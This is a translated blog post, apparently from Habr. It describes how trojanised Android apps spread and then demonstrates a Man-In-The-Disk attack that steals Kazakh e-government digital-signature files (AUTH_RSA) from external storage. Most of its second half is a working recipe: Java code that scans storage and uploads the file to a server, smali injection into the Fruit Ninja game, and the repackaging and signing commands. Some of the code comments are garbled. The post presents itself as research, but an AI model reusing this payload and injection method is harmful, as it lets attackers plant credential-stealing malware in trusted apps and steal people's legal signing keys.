📜 ⬆️ ⬇️

Stealing EDS Using Man-In-The-Disk

Kazakhstan mobile applications mEGOV and UAPF use digital signatures as one of the methods of authorization. To log in in this way, you need to transfer the file from the digital signature to the phone. This authorization method is vulnerable to a Man-In-The-Disk attack (more about this in details below). To become a victim of an attack, you just need to install any of your favorite application, which was secretly modified by an attacker. I will demonstrate how this can be done. First, find out how such applications can reach the user.


How malicious applications get on the phone


Local application markets of China, Iran, etc.


Examples: cafebazaar.ir, android.myapp.com, apkplz.net


These sites appeared due to censorship and blocking of Google services and / or servers of official applications. Usually they contain local analogues of popular applications and their modifications. Such modifications (like this Iranian telegram ) contain supposedly new, cool features. What is the danger of such applications? You never know what they are actually doing. In addition, some governments do not miss the opportunity and publish their modifications, with tools for tracking the user. Government surveillance applications are malicious by definition. Once, I studied a malicious application ( Virustotal result , sample here , password: infected), which scanned the phone for telegram clones:


"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram" 

This list indicates the real relevance and popularity of such applications. Researching this malware has led me to an article that talks about a telegram clone distributed through the Cafebazaar market by the Iranian government. Quote from there:


This looks to be developed to the specifications of the Iranian government enabling them to track every bit and byte put forward by users of the app.

How many telegram clones do you see ?: ( Source )


image


It is almost impossible for ordinary users to protect themselves from this, since there is no other choice - official sources are being intensely blocked, and their own are being promoted. Researchers and antivirus companies from around the world, after identifying infected applications, promptly report this to Google and they are removed from the Play Market, which, obviously, does not apply to third-party application markets. Also, Google’s policy regarding the admission of hosted applications does not apply to them.


Some of the markets are very popular, such as the Tencent My App , with 260 million users per month ( Source )


image


Local applications used within the same region / country often use the same SDK (set of libraries) for advertising tracking, social integration. networks, etc. ... If the same library is used in several applications, then with high probability, some of these applications can be installed on one user. Such libraries can use the capabilities of different applications in which they are built-in to steal user data, bypassing the granted permissions. For example, one application has access to receive IMEI, but does not have access to the Internet. The built-in library knows about this and therefore reads the IMEI and saves it on the SD card in a hidden folder. The same library is built into another application that has Internet access but no access to IMEI, reads it from a hidden folder and sends it to its server. This method was used by two Chinese companies Baidu and Salmonads. You can read more about this here .


Phishing


Classical phishing is the main tool of international groups and special services of different countries . As it often happens, a regular messenger application is taken, functionality for tracking is added to it, and then it is massively distributed, with a note "Look, what a cool application for communication." Delivery to users can be carried out through social. networks, spam Whatsapp / Telegram, built-in ads on sites, etc.


image


Source, p. 19.


Phishing links, in the form of posts on Facebook:


image


Source, p. 22


Popup on one famous site


image


A source


Telegram bots / groups


Example: @apkdl_bot, t.me/fun_android


There are telegram bots for downloading apk files. Instead of a legitimate application, they may slip malware into you. Or infect your requested application on the fly. It works like this - you enter the bot / group command that you want to download "Instagram", the script on the other side downloads it from Google Play, unpacks, adds malicious code, packs it back and returns it to you. How this is done automatically, I will try to show an example in the near future.


Third Party Mediation Sites


Example: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/


There are a huge number of unofficial sites for downloading android applications. Some of them provide the ability to download your application, which may be malicious. Download example on this site :


image


One example of a malvari that has spread this way ( Source ):


image


Sample statistics for unofficial sources can be found in the Android Security Report 2018 - 1.6 billion blocked Google Play Protect installations not from Google Play. There were much more installations.
Some even write articles about how good it is to use third-party markets.
A separate whole world is made up of sites that distribute applications without ads, hacked paid applications for free, applications with additional functionality:


image


image


Google play


The official source has protection against suspicious applications called Google Play Protect, which uses machine learning to determine the degree of malware. But such protection is not able to understand exactly which application is malicious and which is not, since this requires a full manual check. What is the difference between a spy app that monitors all your movements and a running app? Researchers constantly find hundreds of infected applications published on Google Play.


Typically, a malicious application calls itself google play services or similar, and puts a similar icon . This is misleading to users. Why Google Play does not check the icon for similarity with its official applications is unclear. Once in a telegram, I put an avatar with a paper airplane and they blocked me. Another method used by malicious applications is to replace the letters ("L" with "I", "g" with "q") to create a name similar to the official application:


image


Source


other methods


  1. In phone repair services


  2. When crossing the border


  3. Connect to an unfamiliar computer via USB, with debugging enabled.


  4. An attacker gaining access to your Google account, and installing the application on your phone through Google Play.


  5. Preinstalled applications


  6. By court order and without. By the police or special services


  7. Watering hole attack


  8. You came to visit a friend, and his TV infected your phone



The particular version appearing on Fire TV devices installs itself as an app called “Test” with the package name “com.google.time.timer”. Once it infects an Android device, it begins to use the device's resources to mine cryptocurrencies and attempts to spread itself to other Android devices on the same network.

How attackers infect android applications


Now we understand how a malicious application can get on your phone. Next, it will be demonstrated how an attacker can modify any android application. An example will be used with the introduction of code in the popular game Fruit Ninja . The code scans the phone’s memory, searches for a file with EDS and sends it to the server (root is naturally not required).


What is Man-In-The-Disk?


The public drew attention to this attack vector, after this article . I advise you to read it first.


For those who have read, I’ll add from myself - modifying the shared files of other applications can also lead to exploitation of vulnerabilities in libraries that use these files


Who did not read, I will tell in brief. To begin with, let's define concepts. In android, the memory for applications is divided into Internal Storage and External Storage. Internal storage is the internal memory of the application, accessible only to him and to no one else. Absolutely every application on the phone corresponds to a separate user and a separate folder with rights only for this user. This is a great defense mechanism. External storage - the main memory of the phone, accessible to all applications (this also includes the SD card) Why is it needed? Take a photo editor application. After editing, you must save the photo so that it is accessible from the gallery. Naturally, if you put it in internal storage, then it will not be available to anyone except your application. Or a browser that downloads all files to the Downloads shared folder.


Each android application has its own set of permissions that it requests. But it’s not so good with them. Among them there are those that people willingly close their eyes and do not take seriously. Among them is READ_EXTERNAL_STORAGE. It allows the application to access the main memory of the phone, and therefore to all data of other applications. After all, no one will be surprised if the notebook application asks for this permission. It may be necessary for him to store settings and cache there. Manipulating the data of other applications in external storage is the attack of Man-In-The-Disk. Another, almost defaulted, resolution is INTERNET. As the name implies, it allows the application to have access to the network. The saddest thing is that the user is not shown a special window asking him to give this permission. You just write it in your application and they give it to you.


I downloaded the top 15 Kazakhstani applications and wrote a script that displays statistics on requested permissions. As you can see, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE and INTERNET are very popular. This means that attackers can less painfully embed code that steals digital signatures in most applications.


List of tested applications
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Yandex Music, Yandex Taxi
, Zakon KZ

image


If you put whatsapp on a rooted phone, then all your correspondence is stored in clear text. Apparently whatsapp does not consider it necessary to even use encryption on such a "corrupted" phone. Also, in external storage, whatsapp stores SSLSessionCache (File-based cache of established SSL sessions). In the future, I’ll try to explore how you can use these files received from someone else’s phone.


Telegrams and Instagram store cached images in shared memory. Almost all the photos you view, and those that you send to each other, are available to any application on your phone.


image


MEGOV and ENPF applications require that the digital signature is in External Storage:


image


image


Google is aware of the problem and is about to change READ_EXTERNAL_STORAGE in Android Q. Quote:


In order to access any other file that another app has created, including files in a "downloads" directory, your app must use the Storage Access Framework, which allows the user to select a specific file.

Create payload


Let's move on to the main scanner functionality. It will consist of three main classes: StageAttack , MaliciousService , MaliciousTaskManager .


image


StageAttack - consists of one static method that starts our attack. We specifically create a transitional static method, for the convenience of implementation in the finished class.


 public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } } 

MaliciousService is a service that recursively searches all external storage.


 private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; } 

If the EDS is not found, we will repeat the search every 5 seconds until we find it. You can use any interval. Taking too small an interval, our service runs the risk of being stopped by the system. The higher the version of android, the more severe the policy regarding the operation of background processes. We also cannot use Foreground service, since a notification must constantly hang for this. Not being an android developer, I spent a lot of time to find a way to schedule a task that will be completed on time. It is not as simple as it seems. There are several recommended methods in Android (JobService, WorkManager, setRepeating () AlarmManager). The documentation does not explicitly indicate that the interval of the task should be at least 15 minutes and its execution time depends on the desire of the system. This does not suit us, so we use the AlarmManager class, the setExactAndAllowWhileIdle() method. When the task is completed, we plan it again, with the same interval. This is the only method currently known to me that has the highest accuracy.


 private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); } 

If an EDS is found, then we send the file to the server:


 private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); } 

We introduce payload


First, we decompile Fruit Ninja using apktool . We do not decompile the application before java code, because after the modification, we will not be able to assemble it back. We need to get exactly smali classes. And we will also implement our code in the form of smali code.


What is smali code?
Android applications are compiled into bytecode, which is executed by the Dalvik virtual machine. The bytecode itself is hard to read, so its human-readable form is called smali. smali is an analogue of assembly language, but for android.

Further, if we want our payload to start when the application starts, we must modify the entry point. The entry point to any application GUI is an Activity child class that takes ACTION_MAIN. Open the folder with the decompiled application, and find it in the AndroidManifest.xml file:


 <activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> 

We found the com.halfbrick.mortar.MortarGameLauncherActivity class we com.halfbrick.mortar.MortarGameLauncherActivity . Before you study it, let's look at the life cycle of Activity, this will be useful to us.


image


A source


Open Activity, for me it lies along the path base \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . If you have not seen smali code before, this is not scary, it is simple enough to read and logically clear.


 .class public Lcom/halfbrick/mortar/MortarGameLauncherActivity; //     package .super Landroid/app/Activity; //.super     . // Activity    android.app.Activity. .source "MortarGameLauncherActivity.java" //  Java . .method public constructor <init>()V /*       -   .   ,    .   , V - void */ .locals 0 /*   Dalvik   ,    .    ,      .       .    ,     16, 256  64.       ,  .       .    ,    . .locals 0 - ,    0  .    ,  v0, v1, v2, v3, ...    - p0, p1, p2, p3. */ .line 28 invoke-direct {p0}, Landroid/app/Activity;-><init>()V /* invoke-     . invoke-direct -   ,   . ,     java - private  .    ,       ,   .      . p0 -    this  java. init   ,     . */ return-void //    .end method .method protected onStart()V .locals 2 .line 33 invoke-super {p0}, Landroid/app/Activity;->onStart()V //  onStart()   .line 35 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z /* invoke-virtual -   .     ,     static, private, final  .  MortarGameLauncherActivity    isTaskRoot(),        Activity.   Z - boolean */ move-result v0 /*    isTaskRoot()   v0. isTaskRoot()  true,   Activity  ,      */ if-nez v0, :cond_0 /*  v0 = true,     cond_0 ( goto).  v0 = false,   */ .line 37 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V // finish()  Activity return-void //    .line 41 :cond_0 new-instance v0, Landroid/content/Intent; //   Intent        v0 const-class v1, Lcom/halfbrick/mortar/MortarGameActivity; //    MortarGameActivity   v1. MortarGameActivity    Activity. invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V //    Intent,  ,    .line 42 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V //   Activity .line 43 invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V //  MortarGameActivity return-void .end method 

We found out that MortarGameLauncherActivity launches MortarGameActivity and closes. Open MortarGameActivity . We will not comment completely on it. We are interested in what happens in the Oncreate method, since it starts the creation of activity. Immediately after it we will insert our code. It is important not to upset the line when pasting.


 .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <--------------------------- //  ,   472 .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ... 

Now we need smali payload code. We collect our scanner in apk and decompile. We transfer our three decompiled classes, which lie along the path smali \ kz \ c \ signscan , to the folder com / halfbrick / mortar . Change the package name to all classes, from kz.c.signscan to com.halfbrick.mortar .


It was:


 .class public Lkz/c/signscan/StageAttack; 

It became:


 .class public Lcom/halfbrick/mortar/StageAttack; 

In the smali MainActivity class, MainActivity take the payload call line:


 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V 

And insert into MortarGameActivity . As a result, the onCreate() method looks like:


 ... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ... 

The MaliciousTaskManager class in payload is BroadcastReceiver, and MaliciousService is IntentService, so we need to write them in the manifest.


 ... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ... 

We pack everything back with the apktool b myfolder . As a result, we get the apk file. Now we need to sign it so that the android accepts our application. First, we will generate a key with which we will sign:


 keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 

We sign apk:


 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name 

Virustotal will not show us anything, since we are not doing anything “illegal”. We just use the available permissions of our application.


image


Video demonstrating the final work:




Telegram channel


')

Source: https://habr.com/ru/post/460993/


All Articles